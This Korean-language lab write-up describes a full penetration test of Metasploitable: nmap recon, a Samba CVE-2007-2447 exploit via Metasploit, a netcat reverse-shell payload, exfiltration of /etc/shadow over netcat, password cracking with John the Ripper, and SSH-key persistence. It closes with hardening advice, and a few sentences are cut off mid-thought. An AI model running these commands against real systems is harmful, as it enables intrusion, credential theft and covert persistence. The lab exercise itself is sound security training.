
Metasploitable에 대한 전체 펜테스트: nmap 정찰, Metasploit 익스플로잇(CVE-2007-2447), 자격 증명 추출 및 크래킹, SSH 지속성
통제되고 격리된 환경에서의 실제 공격 전체 사이클: 실습 환경 준비, nmap을 통한 정찰, 공격 표면 우선순위 지정, CVE 매핑, Metasploit을 통한 악용, 후속 악용, 자격 증명 추출 및 크래킹, SSH 키 주입을 통한 지속성 확보.

msfconsole, nmap, John the Ripper.192.168.64.0/24). 피해자 IP: 192.168.64.3.
정확히 무엇이 노출되어 있는지 식별하기 위한 버전 스캔 — 취약점은 추상적인 서비스가 아닌 특정 버전에 영향을 미칩니다:
nmap -sV 192.168.64.3
포트 12개가 열려 있으며, 모두 구식이고 악용 가능한 버전.
첫 번째 열린 포트를 공격하는 대신, 대상을 선택하기 전에 서비스를 위험 유형별로 분류했습니다:
선택된 대상: Samba 3.0.20-Debian — 문서화된 치명적 취약점이 있는 버전, Metasploit에서 사용 가능한 익스플로잇, 사전 인증 없이 코드 실행 가능: 가장 높은 신뢰성으로 가장 큰 영향.
Nmap 스크립팅 엔진(NSE)으로 정확한 버전 확인:
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20은 CVE-2007-2447에 취약합니다: username map script 매개변수가 입력값을 검증하지 않아, 공격자가 사용자 이름 필드에 셸 명령을 직접 주입할 수 있습니다. 매핑은 로그인 이전에 발생하므로 유효한 사용자나 비밀번호가 필요 없습니다.

msfconsole

해당 모듈 검색:
msf > search type:exploit samba

구성 및 실행:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
권한 즉시 확인 — 해당 취약점은 후속 권한 상승 없이 직접 root 접근을 제공합니다:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

피해자의 프로세스를 검사하면 주입된 페이로드 자체가 실행되고 있는 것을 볼 수 있습니다:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
전송된 사용자 이름에는 명령 자체(/=`...`)가 포함되어 있었습니다: Samba가 이를 정제(sanitize) 없이 셸로 전달했고, 셸은 mkfifo로 파이프를 만들고 netcat으로 Kali로의 역방향 연결을 연 다음 /bin/sh를 해당 파이프에 연결했습니다 — 완전한 원격 코드 실행이 한 줄 한 줄 이루어졌습니다.
netstat -tulnp로 내부 서비스 열거: MySQL이 0.0.0.0:3306에서 수신 중인 것으로 나타났습니다 — localhost뿐만 아니라 네트워크의 모든 머신에 노출되어 있었습니다.
피해자 머신에서 직접 크래킹을 시도하는 대신(CPU를 소모하고, 노이즈를 만들고, 흔적을 남김), 해시를 추출하여 오프라인으로 공격하기 위해 Kali로 전송했습니다:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

netcat을 통한 전송 및 John the Ripper 준비:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John은 세 가지 자동 단계를 실행합니다(사용자 자체 정보를 활용한 single 모드, 사전 공격, 증분 무차별 대입). 결과: 7개 중 6개 비밀번호 크래킹 성공, SSH, MySQL, FTP에 재사용 가능한 자격 증명 포함.

크래킹된 자격 증명으로 합법적인 사용자로서 SSH 직접 접근:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

교체될 수 있는 비밀번호에 의존하지 않기 위해 자체 키 쌍을 생성하여 피해자의 authorized_keys에 추가했습니다 — 비밀번호 변경 후에도 유지되며 무차별 대입 알림을 발생시키지 않는 백도어입니다:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
이후 비밀번호 없는 접근:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0에 노출된 데이터베이스, Telnet과 같은 레거시 프로토콜 활성 상태).Telnet과 같은 안전하지 않은 프로토콜 제거, 중요 서비스 및 커널 자체 업데이트, 데이터베이스의 직접 노출 제한, 네트워크 분할 적용, 그리고 무엇보다 — 비밀번호 크래킹이 얼마나 쉬웠는지를 고려할 때 — 강력하고 서비스 간 재사용되지 않는 자격 증명 정책을 강제해야 합니다. 프로덕션에서 이 공격을 차단했을 동일한 유형의 탐지(비정상적인 외부 연결 모니터링, nc/리버스 셸 알림)는 제 Home SOC Lab에서 방어 측면으로 작업하는 내용입니다.
공격 전 우선순위 지정 —무작위로 포트를 시도하는 대신 어떤 서비스가 가장 높은 신뢰성으로 가장 큰 영향을 주는지 이해하는 것— 이 Samba로 직접 이끌었습니다. ps aux에서 주입된 명령 자체가 실행되는 것을 본 후속 악용 단계는 입력 검증 취약점이 왜 시스템 전체 제어로 이어지는지 가장 잘 보여줍니다. 그리고 SSH 키를 통한 지속성은 일단 내부에 진입하면 공격자의 목표가 단순히 "접근 권한을 갖는 것"이 아니라 조용하고 오래 지속되는 접근 권한을 갖는 것임을 분명히 합니다 — 심층 방어가 단 하나의 장벽에 의존해서는 안 되는 더 큰 이유입니다.
| 포트 | 서비스 | 버전 |
|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — 주요 대상 |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |